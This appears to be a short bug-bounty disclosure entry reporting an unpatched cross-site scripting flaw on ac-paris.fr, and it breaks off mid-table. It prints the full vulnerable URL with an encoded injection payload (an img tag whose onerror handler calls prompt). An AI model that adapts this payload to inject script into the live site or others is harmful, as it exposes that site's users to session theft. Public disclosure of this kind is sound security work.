ac-paris.fr XSS vulnerability

Vulnerable URL: https://www.ac-paris.fr/serail/jcms/s2374182/ecole-elementaire-10-st-lambert?portal=%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E374182=%2Fserail%2Fdisplay.jsp%3Fid%3Ds2374211=front%2Flogin-jcms.jsp Details: Description| Value ---|--- Patched:| No Latest check for patch:...